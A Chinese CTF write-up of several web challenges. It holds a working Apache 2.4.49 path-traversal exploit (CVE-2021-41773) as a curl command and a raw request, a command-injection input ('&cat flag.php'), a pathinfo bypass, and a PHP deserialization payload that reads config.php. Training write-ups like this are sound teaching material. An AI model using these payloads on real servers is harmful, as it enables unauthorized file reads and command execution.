青少年CTF训练平台-WEB-部分wp-2

水文的一天

XX-API

任意文件读取漏洞

青少年CTF训练平台-WEB-部分wp-2_第1张图片

登陆后台

漏洞考察点: CVE_2021_41773

题目提示Apache

请求发现 apache版本为 2.4.49

在这里插入图片描述

找到CVE漏洞CVE-2021-41773

攻击者利用这个漏洞,可以读取到Apache服务器Web目录以外的其他文件,或者读取Web中的脚本源码,或者在开启cgi或cgid的服务器上执行任意命令。

两种方法:

第一种curl请求

curl -v --path-as-is http://IP地址/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

第二种:

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/flag HTTP/1.1
Host: IP地址
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Connection: close

浏览器直接访问url会失败

青少年CTF训练平台-WEB-部分wp-2_第2张图片

signin

绕过pathinfo,这里大小写可以绕过。

青少年CTF训练平台-WEB-部分wp-2_第3张图片

青少年CTF训练平台-WEB-部分wp-2_第4张图片

不过题目环境好像不解析大写PHP。

所以只能通过第二种方法:

在文件后面添加/.进行绕过

青少年CTF训练平台-WEB-部分wp-2_第5张图片

获取flag

青少年CTF训练平台-WEB-部分wp-2_第6张图片

PingMe

命令执行

&cat flag.php

青少年CTF训练平台-WEB-部分wp-2_第7张图片

Web_unserialize

扫描目录发现备份文件

青少年CTF训练平台-WEB-部分wp-2_第8张图片

发现序列化代码

青少年CTF训练平台-WEB-部分wp-2_第9张图片

在nickname处可以进行数组绕过.所以我们构造的payload在 nickname处。

调用了update_profile()函数

	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

update函数代码

public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

filter代码

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

构造Payload


 
class b
 
{
 
    public $phone = "12345678901";
 
    public $email = "[email protected]";
 	
    public $nickname = array("wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere");
 
    public $photo = "config.php";
 
}
 
$a=new b();
 
$profile = serialize($a);
 
echo $profile;
 
?>

发送请求

青少年CTF训练平台-WEB-部分wp-2_第10张图片

解密base64

青少年CTF训练平台-WEB-部分wp-2_第11张图片

获取flag

青少年CTF训练平台-WEB-部分wp-2_第12张图片

你可能感兴趣的:(CTF,前端,服务器,运维)